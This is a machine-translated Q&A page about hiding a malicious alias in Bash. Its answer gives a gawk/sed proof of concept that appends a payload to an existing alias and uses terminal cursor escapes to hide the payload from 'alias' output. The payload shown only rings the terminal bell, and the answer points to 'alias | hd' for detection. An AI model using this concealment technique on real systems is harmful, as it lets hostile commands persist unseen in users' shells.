是否可以在Linux上的Bash中隐藏恶意别名?


Answers:


13

可以通过以下方式来实现:将现有别名添加到恶意别名上,如果使用该alias命令显示别名定义,则使用光标移动将其隐藏。这不是一个万无一失的方法,但是可能有一段时间没有被发现。管道alias传递hd将告诉您别名中是否有任何转义序列(光标移动)。这是如何将恶意命令插入别名的概念证明:

alias | gawk 'BEGIN {
        FS = "[ =\047]"
        db = "\\"; sp = db " "; amp = db "&"
        sq= "\047"; bell = "\007"; esc = "\033"
    } 
    NR == 3 { len1 = length($2) }
    NR == 4 {
        alias = $2
        orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
        orig = gensub(" ", db sp, "g", orig)
    }
    END {
        hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
        for(i=1; i<len1; i++) {hide = hide esc "[C"}
        cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
    system(cmd)
    }'
  • sed命令在适当的位置修改了一个称为“别名”的文件-这种类型的真实脚本将用于处理并修改真实脚本文件,因此恶意别名将在下次执行时被激活。
  • 这个例子的恶意部分只是敲响了终端铃,所以您知道它正在工作。
  • 最初使用别名的命令将以的内容hide作为参数执行,因此可以想象得到的错误类似于此问题中报告的错误。尽管可能会干扰提供给别名的参数,但可能会反转原始部分和恶意部分以影响此过程。尝试在上面的脚本中用标记参数的结尾--
  • 与其将原始和恶意部分链接在一起&&echo不如将stdinstdout通过管道传递到下一个,并使恶意脚本(在上面用简单命令表示)可以作为直通功能来修改数据或隐藏数据通过不干扰其他重定向进一步存在
  • 相反,另一种可能性是在恶意脚本中包含原始别名,该别名可能会从参数列表中删除光标移动字符串,并将其余部分传递给原始脚本。
  • 我任意选择了记录3和4,更智能的代码可以针对特定的别名,但是它们必须相邻(否则光标移动可能会变得更加复杂)。
  • hide可以修改该字符串以包括不同的光标移动和原始别名的文本,因此该alias命令似乎将显示未修改的别名,而不是将其与恶意部分一起隐藏。
  • 要按书面要求进行尝试,您需要至少具有四个活动别名,运行此脚本,然后使用来生成结果文件. aliases。然后,您可以尝试使用受影响的别名,然后查看它的外观alias|hd
  • 毫无疑问,这可以用一百种不同的方式重写-更好。
  • 这种威胁有多现实?我没有头绪 但是如果我能做到...
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.